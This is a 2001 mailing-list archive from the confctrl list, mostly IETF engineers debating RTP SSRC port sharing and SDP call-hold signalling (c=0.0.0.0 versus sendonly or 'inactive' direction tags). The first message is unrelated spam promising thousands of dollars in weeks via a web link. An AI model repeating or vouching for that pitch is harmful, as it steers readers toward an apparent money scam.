Received: from iumb.if.gov.lv (finmin.delfi.lv [195.114.46.167] (may be forged))
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6V1g5m14454;
	Mon, 30 Jul 2001 18:42:05 -0700 (PDT)
Received: from 158.252.148.249 (sdn-ar-010txhousP233.dialsprint.net [158.252.148.249]) by iumb.if.gov.lv with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id NH489RL0; Tue, 31 Jul 2001 04:48:15 +0300
Message-ID: <000012415d07$0000324b$000038ed@>
To: <Undisclosed.Recipients@ISI.EDU>
From: joann545kj@yahoo.com
Subject: A Rare Moment!
Date: Mon, 30 Jul 2001 18:48:06 -0500
X-Priority: 1
X-MSMail-Priority: High
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


$ $  $  SERIOUS MONEY!   What  EVERYONE Has Been  Waiting For!  $ $ $ 

Starting Today You Can Earn $2,000 to $8,000 in a Matter of Weeks!     

For details on this money making opportunity click on the hyperlink below: 
http://www.geocities.com/intercash2001




If you have a problem with the above hyperlink send us a email at
mailto:jimmydee236@yahoo.com?subject=show me: WE will send you a new link.


To be removed from this mailing list type remove in the subject box
mailto:lndpn7@yahoo.com?subject=remove, or fax us at 
1561.273.2567 with your email address and remove me.


From confctrl-owner  Tue Jul 31 07:21:40 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA15523
	for confctrl-outgoing; Tue, 31 Jul 2001 07:21:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA15518
	for <confctrl@zephyr.isi.edu>; Tue, 31 Jul 2001 07:21:38 -0700 (PDT)
Received: from exchange1.nuera.com ([12.105.228.79])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6VELcm01951
	for <confctrl@isi.edu>; Tue, 31 Jul 2001 07:21:39 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2653.19)
	id <P1LBSVFJ>; Tue, 31 Jul 2001 07:21:45 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD72A8A@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>
Cc: "''avt@ietf.org' '" <avt@ietf.org>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
Date: Tue, 31 Jul 2001 07:21:44 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> > 
> > It would be nice to have a mechanism which does not rely on 
> > application
> > specific capabilities. I don't know if thats possible. I'll 
> > also note that
> > if you can have these properties from the application layer, 
> > I don't need
> > ranges anymore either. In the case of forked early media, the 
> > caller can
> > tell each early media sender to use a specific SSRC. This 
> > way, each sender
> > is using a different SSRC. 
> > 
> 
> I guess you could always kludge it with RTCP by inventing 
> imaginary RTCP
> receiver (fake an SSRC collision) but that is very nasty and 
> has another
> problem. The problem with doing any SSRC collision resolution 
> entirely at
> the transport/RTP level is that you lose the ability to correlate
> media-flows with application sessions in a transport 
> independent manner.
> 

Actually, I guess you could provide the CNAME in the ssrc (or "rtpssrc")
attribute which would thereby allow you to maintain the session-level
correlation even when an SSRC collision occurs (which should be resolvable
using standard RTCP methods). The "rtpssrc" attribute maintains the other
properties such as the session separation for RTP & RTCP packets and some
probabilistic protection from blind attacks and systematic errors (where
appropriate).

So here would be my new format suggestion:

rtpssrc-attribute = "x-rtpssrc:" rx-ssrc-mask SP tx-ssrc-info [SP
tx-ssrc-cname]
rx-ssrc-mask = *(HEXDIGIT) *("x")
	where rx-ssrc-mask is 1-8 characters in length
tx-ssrc-info = tx-ssrc-seed | "mixer" | "-"
tx-ssrc-seed = 1*(HEXDIGIT)
	where tx-ssrc-seed is 1-8 characters in length
tx-ssrc-cname = token | quoted-string
	[this is the CNAME value used in RTCP reports]

A tx-ssrc-info value of "mixer" indicates that multiple ssrc's will be sent
and that receiver must use the same rx-ssrc-mask (or simply "xxxxxxxx") when
receiving RTP & RTCP packets (and should specify the same rx-ssrc-mask value
in the reverse SDP if one is generated). A value of "-" indicates that the
forward SSRC information is not available.

The "mixer" value should be useful in Single Source Multicast sessions where
one server does all the RTP/RTCP mixing & distribution and all other
participants merely send back to the server (as described in that draft).
The server may request participants to use a certain SSRC port range (to
separate sessions on the same port pair) but all participants must not
select a different range in the reverse direction.

Robert.


From confctrl-owner  Tue Jul 31 11:58:39 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA28568
	for confctrl-outgoing; Tue, 31 Jul 2001 11:58:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA28563
	for <confctrl@zephyr.isi.edu>; Tue, 31 Jul 2001 11:58:38 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6VIwMm17087;
	Tue, 31 Jul 2001 11:58:23 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f6VIwAO04467;
	Tue, 31 Jul 2001 20:58:10 +0200 (MEST)
Received: from lmf.ericsson.se (rmt160229.am.ericsson.se [138.85.160.229])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id UAA14709;
	Tue, 31 Jul 2001 20:58:07 +0200 (MET DST)
Message-ID: <3B670282.4E3F57FB@lmf.ericsson.se>
Date: Tue, 31 Jul 2001 22:09:54 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: sip@ietf.org, mmusic <confctrl@ISI.EDU>, Colin Perkins <csp@ISI.EDU>,
        Jonathan Rosemberg <jdrosen@dynamicsoft.com>
Subject: SDP hold
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

I am sending this mail to SIP and MMUSIC because both groups are
interested in this issue. Sorry if somebody receives it twice.

We have already agreed that the SDP 0.0.0.0 mechanism for putting the
other party on hold does not work because it does not provide an address
for RTCP. Therefore, we need a new mechanism for putting on hold.

It seems that the best proposal is to use the direction tag (sendonly,
sendrecv, recvonly) to do this. It has been proposed to define a new
direction tag value that would mean that the media stream will not carry
media (neither-send-nor-receive). This could be encoded as a=nomedia,
for instance.

The first question is, do we all agree that this is the mechanism that
should be used? If so, is it appropriate to add this new tag value to
SDPnew (Colin?) ?


We also have to think about the current SDP 0.0.0.0 mechanism. While it
does not work for putting UAs in hold, it is useful in 3pcc scenarios,
where the controller does not have an IP address to provide to the
callee. Do we want to still use SDP 0.0.0.0 in this scenario?

Regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Tue Jul 31 14:27:29 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA06501
	for confctrl-outgoing; Tue, 31 Jul 2001 14:27:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA06496
	for <confctrl@zephyr.isi.edu>; Tue, 31 Jul 2001 14:27:28 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6VLROm19956;
	Tue, 31 Jul 2001 14:27:25 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f6VLR2525973;
	Tue, 31 Jul 2001 17:27:02 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AGA00453 (AUTH pkyzivat);
	Tue, 31 Jul 2001 17:27:05 -0400 (EDT)
Message-ID: <3B672171.684C8D42@cisco.com>
Date: Tue, 31 Jul 2001 17:21:53 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
CC: sip@ietf.org, mmusic <confctrl@ISI.EDU>, Colin Perkins <csp@ISI.EDU>,
        Jonathan Rosemberg <jdrosen@dynamicsoft.com>
Subject: Re: SDP hold
References: <3B670282.4E3F57FB@lmf.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Gonzalo Camarillo wrote:
> 
> Hello,
> 
> I am sending this mail to SIP and MMUSIC because both groups are
> interested in this issue. Sorry if somebody receives it twice.
> 
> We have already agreed that the SDP 0.0.0.0 mechanism for putting the
> other party on hold does not work because it does not provide an address
> for RTCP. Therefore, we need a new mechanism for putting on hold.
> 
> It seems that the best proposal is to use the direction tag (sendonly,
> sendrecv, recvonly) to do this. It has been proposed to define a new
> direction tag value that would mean that the media stream will not carry
> media (neither-send-nor-receive). This could be encoded as a=nomedia,
> for instance.
> 
> The first question is, do we all agree that this is the mechanism that
> should be used? If so, is it appropriate to add this new tag value to
> SDPnew (Colin?) ?
> 
> We also have to think about the current SDP 0.0.0.0 mechanism. While it
> does not work for putting UAs in hold, it is useful in 3pcc scenarios,
> where the controller does not have an IP address to provide to the
> callee. Do we want to still use SDP 0.0.0.0 in this scenario?

I know I will remember eventually, but can you remind me of such a
scenario? I think I recall some cases where you invite on hold, and then
reinvite. But when would this be used rather than inviting without SDP?
Where this isn't sufficient, it might be better to simply invite without
any media sessions at all, just to establish a signalling relationship.
(But I don't believe that is technically legal at the moment.)

One thing to keep in mind is that these should be mechanisms that work
with transports other than RTP and UDP. The connection oriented
transports introduce new problems. The c=0.0.0.0 for hold is one of the
things that don't work there either. The direction tag is much better.

	Paul

From confctrl-owner  Tue Jul 31 14:40:17 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA07319
	for confctrl-outgoing; Tue, 31 Jul 2001 14:40:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA07314
	for <confctrl@zephyr.isi.edu>; Tue, 31 Jul 2001 14:40:16 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6VLdqm25761;
	Tue, 31 Jul 2001 14:40:06 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f6VLdhN13774;
	Tue, 31 Jul 2001 23:39:44 +0200 (MEST)
Received: from lmf.ericsson.se (rmt160229.am.ericsson.se [138.85.160.229])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id XAA21911;
	Tue, 31 Jul 2001 23:39:39 +0200 (MET DST)
Message-ID: <3B67285F.AE7C83F6@lmf.ericsson.se>
Date: Wed, 01 Aug 2001 00:51:27 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: sip@ietf.org, mmusic <confctrl@ISI.EDU>, Colin Perkins <csp@ISI.EDU>,
        Jonathan Rosemberg <jdrosen@dynamicsoft.com>
Subject: Re: SDP hold
References: <3B670282.4E3F57FB@lmf.ericsson.se> <3B672171.684C8D42@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

> I know I will remember eventually, but can you remind me of such a
> scenario? I think I recall some cases where you invite on hold, and then
> reinvite. But when would this be used rather than inviting without SDP?

Actually you INVITE without SDP and get an SDP in the 200 OK. Now you
MUST send an SDP in the ACK.

You MAY try to send an INVITE with the SDP just obtained to the other
party and expect the 200 OK to arrive quickly enough. That is, before
the fist party gets tired of retransmitting the 200 OK without getting
an ACK.

Luckily you have another option. When you receive the 200 OK from your
first INVITE without SDP, you send an ACK with SDP 0.0.0.0 (hold). Then
you INVITE the other party and get his SDP. Now you can re-INVITE the
first party.

> Where this isn't sufficient, it might be better to simply invite without
> any media sessions at all, just to establish a signalling relationship.
> (But I don't believe that is technically legal at the moment.)

You INVITE without any media description. The thing is that since you
will get media description in the 200 OK, you MUST send an SDP in your
ACK.

> 
> One thing to keep in mind is that these should be mechanisms that work
> with transports other than RTP and UDP. The connection oriented
> transports introduce new problems. The c=0.0.0.0 for hold is one of the
> things that don't work there either. The direction tag is much better.

Yes, the direction tag is the way to go (as I proposed in my previous
mail). I was just saying that the direction tag resolves 95% of the
scenarios, but not all of them.

Regards,

Gonzalo


>         Paul

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Tue Jul 31 15:39:15 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA10217
	for confctrl-outgoing; Tue, 31 Jul 2001 15:39:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA10203
	for <confctrl@zephyr.isi.edu>; Tue, 31 Jul 2001 15:39:13 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6VMdDm21693;
	Tue, 31 Jul 2001 15:39:13 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f6VMcp529192;
	Tue, 31 Jul 2001 18:38:51 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AGA00857 (AUTH pkyzivat);
	Tue, 31 Jul 2001 18:38:54 -0400 (EDT)
Message-ID: <3B673246.596702B5@cisco.com>
Date: Tue, 31 Jul 2001 18:33:42 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
CC: sip@ietf.org, mmusic <confctrl@ISI.EDU>, Colin Perkins <csp@ISI.EDU>,
        Jonathan Rosemberg <jdrosen@dynamicsoft.com>
Subject: Re: SDP hold
References: <3B670282.4E3F57FB@lmf.ericsson.se> <3B672171.684C8D42@cisco.com> <3B67285F.AE7C83F6@lmf.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Gonzalo Camarillo wrote:
> 
> Hello,
> 
> > I know I will remember eventually, but can you remind me of such a
> > scenario? I think I recall some cases where you invite on hold, and then
> > reinvite. But when would this be used rather than inviting without SDP?
> 
> Actually you INVITE without SDP and get an SDP in the 200 OK. Now you
> MUST send an SDP in the ACK.
> 
> You MAY try to send an INVITE with the SDP just obtained to the other
> party and expect the 200 OK to arrive quickly enough. That is, before
> the fist party gets tired of retransmitting the 200 OK without getting
> an ACK.
> 
> Luckily you have another option. When you receive the 200 OK from your
> first INVITE without SDP, you send an ACK with SDP 0.0.0.0 (hold). Then
> you INVITE the other party and get his SDP. Now you can re-INVITE the
> first party.

OK, that makes some sense. But it is problematic unless it can be
depended upon to work all the time, with any type of media. (The 3pcc
may not understand the media being used by the endpoints.) I am not sure
this is the case.

Also, isn't there a potential problem with this technique? 
After you re-INVITE the first party with the SDP from the other party,
the SDP you get back may not be the same as it was in the first invite.
If not, then you have to reinvite the other party again. This process
may never terminate. 

Seems like it would be better to count on turning around the invite to
the other party before the first party times out. It takes a long time
to timeout, so this shouldn't usually be a problem.

> 
> > Where this isn't sufficient, it might be better to simply invite without
> > any media sessions at all, just to establish a signalling relationship.
> > (But I don't believe that is technically legal at the moment.)
> 
> You INVITE without any media description. The thing is that since you
> will get media description in the 200 OK, you MUST send an SDP in your
> ACK.

What I meant was that you might invite with the intent of establishing a
call that has no media sessions. It isn't straightforward to do, since
if you offer SDP that contains no m= lines it is like offering no SDP.
You can probably do it by offering an SDP with "m=xxx 0 ...", but
probably most UAs would reject this as useless. And in any case it
wouldn't serve your purpose.

	Paul

From confctrl-owner  Tue Jul 31 22:16:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA29198
	for confctrl-outgoing; Tue, 31 Jul 2001 22:16:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA29192
	for <confctrl@zephyr.isi.edu>; Tue, 31 Jul 2001 22:16:50 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f715Gnm22246;
	Tue, 31 Jul 2001 22:16:49 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f715GiN08300;
	Wed, 1 Aug 2001 07:16:45 +0200 (MEST)
Received: from lmf.ericsson.se (lmf00225pc.lmf.ericsson.se [131.160.30.24])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id f715Gi528394;
	Wed, 1 Aug 2001 08:16:44 +0300 (EET DST)
Message-ID: <3B6790BB.5504972D@lmf.ericsson.se>
Date: Wed, 01 Aug 2001 08:16:43 +0300
From: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>, Colin Perkins <csp@ISI.EDU>,
        Jonathan Rosemberg <jdrosen@dynamicsoft.com>
Subject: Re: [Sip] Re: SDP hold
References: <3B670282.4E3F57FB@lmf.ericsson.se> <3B672171.684C8D42@cisco.com> <3B67285F.AE7C83F6@lmf.ericsson.se> <3B673246.596702B5@cisco.com>
Content-Type: multipart/mixed;
 boundary="------------A826358D2101C03A63CF8B14"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------A826358D2101C03A63CF8B14
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Hi,

Can't we use the "inactive" tag, so we don't have to define a new?
"Inactive" is used by both MGCP and MEGACO when a connection is created,
but no media is supposed to be sent nor received, so maybe it would be a
good idea to use the same tag also for SIP.

Regards,

Christer Holmberg
Ericsson Finland



Paul Kyzivat wrote:
> 
> Gonzalo Camarillo wrote:
> >
> > Hello,
> >
> > > I know I will remember eventually, but can you remind me of such a
> > > scenario? I think I recall some cases where you invite on hold, and then
> > > reinvite. But when would this be used rather than inviting without SDP?
> >
> > Actually you INVITE without SDP and get an SDP in the 200 OK. Now you
> > MUST send an SDP in the ACK.
> >
> > You MAY try to send an INVITE with the SDP just obtained to the other
> > party and expect the 200 OK to arrive quickly enough. That is, before
> > the fist party gets tired of retransmitting the 200 OK without getting
> > an ACK.
> >
> > Luckily you have another option. When you receive the 200 OK from your
> > first INVITE without SDP, you send an ACK with SDP 0.0.0.0 (hold). Then
> > you INVITE the other party and get his SDP. Now you can re-INVITE the
> > first party.
> 
> OK, that makes some sense. But it is problematic unless it can be
> depended upon to work all the time, with any type of media. (The 3pcc
> may not understand the media being used by the endpoints.) I am not sure
> this is the case.
> 
> Also, isn't there a potential problem with this technique?
> After you re-INVITE the first party with the SDP from the other party,
> the SDP you get back may not be the same as it was in the first invite.
> If not, then you have to reinvite the other party again. This process
> may never terminate.
> 
> Seems like it would be better to count on turning around the invite to
> the other party before the first party times out. It takes a long time
> to timeout, so this shouldn't usually be a problem.
> 
> >
> > > Where this isn't sufficient, it might be better to simply invite without
> > > any media sessions at all, just to establish a signalling relationship.
> > > (But I don't believe that is technically legal at the moment.)
> >
> > You INVITE without any media description. The thing is that since you
> > will get media description in the 200 OK, you MUST send an SDP in your
> > ACK.
> 
> What I meant was that you might invite with the intent of establishing a
> call that has no media sessions. It isn't straightforward to do, since
> if you offer SDP that contains no m= lines it is like offering no SDP.
> You can probably do it by offering an SDP with "m=xxx 0 ...", but
> probably most UAs would reject this as useless. And in any case it
> wouldn't serve your purpose.
> 
>         Paul
> 
> _______________________________________________
> Sip mailing list  http://www.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
--------------A826358D2101C03A63CF8B14
Content-Type: text/x-vcard; charset=us-ascii;
 name="christer.holmberg.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Christer Holmberg
Content-Disposition: attachment;
 filename="christer.holmberg.vcf"

begin:vcard 
n:Holmberg;Christer
tel;cell:+358-40-5604412
tel;work:+358-9-2992943
x-mozilla-html:FALSE
org:Ericsson;IP Multimedia / Advanced Signalling Research Laboratory
adr:;;;;;;
version:2.1
email;internet:christer.holmberg@lmf.ericsson.se
title:System Designer
fn:Christer Holmberg
end:vcard

--------------A826358D2101C03A63CF8B14--


From confctrl-owner  Tue Jul 31 23:21:45 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA02723
	for confctrl-outgoing; Tue, 31 Jul 2001 23:21:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA02718
	for <confctrl@zephyr.isi.edu>; Tue, 31 Jul 2001 23:21:44 -0700 (PDT)
Received: from mail2.dynamicsoft.com (mail2.dynamicsoft.com [216.173.40.52])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f716Ldm07477;
	Tue, 31 Jul 2001 23:21:39 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (bluebird [216.173.40.50])
	by mail2.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f716L0w3025551;
	Wed, 1 Aug 2001 02:21:00 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <QAXL28L2>; Wed, 1 Aug 2001 02:21:34 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D641B@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>, Colin Perkins <csp@ISI.EDU>
Subject: RE: SDP hold
Date: Wed, 1 Aug 2001 02:21:33 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> Sent: Tuesday, July 31, 2001 3:10 PM
> To: sip@ietf.org; mmusic; Colin Perkins; Jonathan Rosemberg
> Subject: SDP hold
> 
> 
> Hello,
> 
> I am sending this mail to SIP and MMUSIC because both groups are
> interested in this issue. Sorry if somebody receives it twice.
> 
> We have already agreed that the SDP 0.0.0.0 mechanism for putting the
> other party on hold does not work because it does not provide 
> an address
> for RTCP. Therefore, we need a new mechanism for putting on hold.
> 
> It seems that the best proposal is to use the direction tag (sendonly,
> sendrecv, recvonly) to do this. It has been proposed to define a new
> direction tag value that would mean that the media stream 
> will not carry
> media (neither-send-nor-receive). This could be encoded as a=nomedia,
> for instance.

Just to be clear, you do not need a new attribute for hold. In the current
usage of 0.0.0.0, hold is unidirectional. As a result, using a=sendonly is
the appropriate way to replace this functionality.

There is also a need, I think, to indicate that a media stream is
temporarily disabled (in which case there is neither RTP or RTCP in either
direction). But, this is not needed for hold.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Tue Jul 31 23:24:00 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA02866
	for confctrl-outgoing; Tue, 31 Jul 2001 23:24:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA02859
	for <confctrl@zephyr.isi.edu>; Tue, 31 Jul 2001 23:23:59 -0700 (PDT)
Received: from mail2.dynamicsoft.com (mail2.dynamicsoft.com [216.173.40.52])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f716Nwm07762;
	Tue, 31 Jul 2001 23:23:58 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (bluebird [216.173.40.50])
	by mail2.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f716NIw3025561;
	Wed, 1 Aug 2001 02:23:18 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <QAXL28LP>; Wed, 1 Aug 2001 02:23:52 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D641C@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Christer Holmberg'" <christer.holmberg@lmf.ericsson.se>,
        Paul Kyzivat
	 <pkyzivat@cisco.com>
Cc: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>, Colin Perkins <csp@ISI.EDU>
Subject: RE: [Sip] Re: SDP hold
Date: Wed, 1 Aug 2001 02:23:51 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I think that this is a good idea.

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com
 

> -----Original Message-----
> From: Christer Holmberg [mailto:christer.holmberg@lmf.ericsson.se]
> Sent: Wednesday, August 01, 2001 1:17 AM
> To: Paul Kyzivat
> Cc: Gonzalo Camarillo; sip@ietf.org; mmusic; Colin Perkins; Jonathan
> Rosemberg
> Subject: Re: [Sip] Re: SDP hold
> 
> 
> 
> Hi,
> 
> Can't we use the "inactive" tag, so we don't have to define a new?
> "Inactive" is used by both MGCP and MEGACO when a connection 
> is created,
> but no media is supposed to be sent nor received, so maybe it 
> would be a
> good idea to use the same tag also for SIP.
> 
> Regards,
> 
> Christer Holmberg
> Ericsson Finland
> 
> 
> 
> Paul Kyzivat wrote:
> > 
> > Gonzalo Camarillo wrote:
> > >
> > > Hello,
> > >
> > > > I know I will remember eventually, but can you remind 
> me of such a
> > > > scenario? I think I recall some cases where you invite 
> on hold, and then
> > > > reinvite. But when would this be used rather than 
> inviting without SDP?
> > >
> > > Actually you INVITE without SDP and get an SDP in the 200 
> OK. Now you
> > > MUST send an SDP in the ACK.
> > >
> > > You MAY try to send an INVITE with the SDP just obtained 
> to the other
> > > party and expect the 200 OK to arrive quickly enough. 
> That is, before
> > > the fist party gets tired of retransmitting the 200 OK 
> without getting
> > > an ACK.
> > >
> > > Luckily you have another option. When you receive the 200 
> OK from your
> > > first INVITE without SDP, you send an ACK with SDP 
> 0.0.0.0 (hold). Then
